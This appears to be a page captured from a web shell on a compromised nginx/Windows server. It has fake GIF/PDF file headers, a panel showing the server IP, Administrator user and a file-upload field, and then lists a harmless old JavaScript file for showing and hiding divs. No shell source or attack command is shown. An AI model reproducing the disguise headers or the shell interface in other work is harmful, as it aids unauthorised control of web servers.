GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/common/js.cloak/ |
Upload File : |
// common/js/divHideShow.js if (!window.debugOn) { debugOn=false; } if (!window.debugOn_divHideShow) { debugOn_divHideShow = false; } if (!window.debugOn_divContent) { debugOn_divContent = false; } //var debugOn_divHideShow = 1; // divContent(divId,divContent) // Change the content of the div. function divContent(divId,divContent) { if (debugOn || debugOn_divContent) alert('divContent('+divId+','+divContent+')'); if (document.getElementById &&!document.all) { divContentId = document.getElementById(divId); divContentId.innerHTML = divContent; } else if (document.all) { // IE 4 or 5 (or 6 beta) eval( "document.all." + divId + ".innerHTML = divContent"); } else if (document.layers) { // NETSCAPE 4 or below document.layers[divId].innerHTML = divContent; } else { document.getElementById(divId).innerHTML = divContent; } } // createDiv(divId,divClass,divContent) // divId = the id to give the div. // divClass = the class to give the div. // divContent = the div content. function createDiv(divId,divInsert,divClass,divContent) { //alert('createDiv('+divId+','+divClass+','+divContent+')'); if (divId == undefined) divId = false; if (divInsert == undefined) divInsert = false; if (divClass == undefined) divClass = false; if (divContent == undefined) divContent = false; if( document.body == null ) { stackTrace = printStackTrace(); createDivText = 'createDiv('; if (divId) createDivText += '\''+divId+'\''; if (divClass) createDivText += '\''+divClass+'\''; if (divContent) createDivText += '\''+divContent+'\''; printStackTrace(); createDivText += ')'; alertText = 'Error in call of '+createDivText+'!\n\n'; alertText += 'The document body in not loaded so the createDiv function cannot be called.\n'; alertText += 'To corect this, add a function that creates the div(s) then add the function to the onload event.\n\n'; alertText += '// A function to create the div(s) if they are not on the page.\nfunction createDivs() {\n'; alertText += ' '+createDivText+';\n // Place any other createDiv calls below the one above\n'; alertText += '}\n'; alertText += '// Add the createDivs() function to the onload event.\n'; alertText += 'var oldLoad = window.onload;\nvar newLoad = oldLoad ? function(){createDivs.call(this);oldLoad.call(this);} : createDivs\nwindow.onload = newLoad;\n\n'; alertText += 'Stack trace:\n'+stackTrace+'\n'; alert(alertText+'\n\nThis error will be inserted into the page text so you can copy it.'); alertText = alertText.replace(/\n/g,'<br>'); document.write(alertText+'<br><br>'); return; } var newDivElement = document.createElement("div"); if (divId) newDivElement.id = divId; if (divClass) newDivElement.className = divClass; if (divContent) newDivElement.innerHTML = divContent; if (divInsert) { // Ensure that the divInsert element exists. divInsertId = document.getElementById(divInsert); //alert('divInsertId='+divInsertId.id); if (divInsertId) { // The element exists, insert the new div and return. //alert('document.body.insertBefore(newDivElement, \''+divInsert+'\');'); divInsertId.parentNode.insertBefore(newDivElement, divInsertId); return; } } document.body.appendChild(newDivElement); } // divHide(divId) // Hide the div. function divHide(divId) { if (debugOn || debugOn_divHideShow) alert('divHide('+divId+')'); //alert('divHide('+divId+')'); if (document.getElementById && !document.all) { //alert('eId = document.getElementById(divId);'); divHideId = document.getElementById(divId); } else if (document.all) { // IE 4 or 5 (or 6 beta) //alert('eId = document.all[divId];'); divHideId = document.all[divId]; } else if (document.layers) { // NETSCAPE 4 or below //alert('eId = document.layers[divId];'); divHideId = document.layers[divId]; } else { //alert('eId = document.getElementById(divId);'); divHideId = document.getElementById(divId); } //alert(eId); if (divHideId != null) { divHideId.style.display = 'none'; divHideId.style.visibility = 'hidden'; } //alert('exit divHide('+divId+')'); } // divHideShow(divId,state) // Toggle the div display. function divHideShow(divId,state) { if (debugOn || debugOn_divHideShow) alert('divHideShow: divId='+divId+' state='+state); if (arguments.length == 1) { if(document.getElementById(divId).style.display == 'none') { divShow(divId); } else { divHide(divId); } } else { if (state) { divShow(divId); } else { divHide(divId); } } } // function divSetContent(divId,newContent) // Replaces the current divId content with newContent. function divSetContent(divId,newContent){ if (debugOn) alert('divSetContent('+divId+","+newContent+")"); divSetContentId = document.getElementById(divId); divSetContentId.innerHTML = newContent; } // divShow(divId) // Show the div. function divShow(divId) { if (debugOn || debugOn_divHideShow) alert('divShow('+divId+')'); if (document.getElementById && !document.all) { divShowId = document.getElementById(divId); } else if (document.all) { // IE 4 or 5 (or 6 beta) divShowId = document.all[divId]; } else if (document.layers) { // NETSCAPE 4 or below divShowId = document.layers[divId]; } else { divShowId = document.getElementById(divId); } //eIdStyle = eId.style; divShowId.style.display = 'block'; divShowId.style.visibility = 'visible'; } // divShowInline(divId) // Show the div as inline. function divShowInline(divId) { if (debugOn || debugOn_divHideShow) alert('divShowInline('+divId+')'); if (document.getElementById &&!document.all) { divShowInlineId = document.getElementById(divId); divShowInlineId.style.display = 'inline'; divShowInlineId.style.visibility = 'visible'; } else if (document.all) { // IE 4 or 5 (or 6 beta) eval( "document.all." + divId + ".style.display = 'inline'"); eval( "document.all." + divId + ".style.visibility = 'visible'"); } else if (document.layers) { // NETSCAPE 4 or below document.layers[divId].display = 'inline'; document.layers[divId].style.visibility = 'visible'; } else { document.getElementById(divId).style.display = 'inline'; document.getElementById(divId).style.visibility = 'visible'; } } // divShowOnly(divHideList,newId) // Hide all divs in divHideList and Show divId function divShowOnly(divHideList,divId) { //alert('divHideList='+divHideList+' divId='+divId); var divHideArray = divHideList.split(","); for(var i=0; i<divHideArray.length; i++){ divHide(divHideArray[i]); } divShow(divId); } // divShowOnlyInline(divHideList,newId) // Hide all divs in divHideList and Show divId function divShowOnlyInline(divHideList,divId) { //alert('divHideList='+divHideList+' divId='+divId); var divHideArray = divHideList.split(","); for(var i=0; i<divHideArray.length; i++){ divHide(divHideArray[i]); } divShowInline(divId); } function printStackTrace() { var callstack = []; var isCallstackPopulated = false; try { i.dont.exist+=0; //doesn't exist- that's the point } catch(e) { if (e.stack) { //Firefox var lines = e.stack.split('\n'); for (var i=0, len=lines.length; i<len; i++) { if (lines[i].match(/^\s*[A-Za-z0-9\-_\$]+\(/)) { callstack.push(lines[i]); } } //Remove call to printStackTrace() callstack.shift(); isCallstackPopulated = true; } else if (window.opera && e.message) { //Opera var lines = e.message.split('\n'); for (var i=0, len=lines.length; i<len; i++) { if (lines[i].match(/^\s*[A-Za-z0-9\-_\$]+\(/)) { var entry = lines[i]; //Append next line also since it has the file info if (lines[i+1]) { entry += ' at ' + lines[i+1]; i++; } callstack.push(entry); } } //Remove call to printStackTrace() callstack.shift(); isCallstackPopulated = true; } } if (!isCallstackPopulated) { //IE and Safari var currentFunction = arguments.callee.caller; while (currentFunction) { var fn = currentFunction.toString(); var fname = fn.substring(fn.indexOf("function") + 8, fn.indexOf('')) || 'anonymous'; callstack.push(fname); currentFunction = currentFunction.caller; } } //output(callstack); return callstack; } function output(arr) { //Optput however you want alert(arr.join('\n\n')); }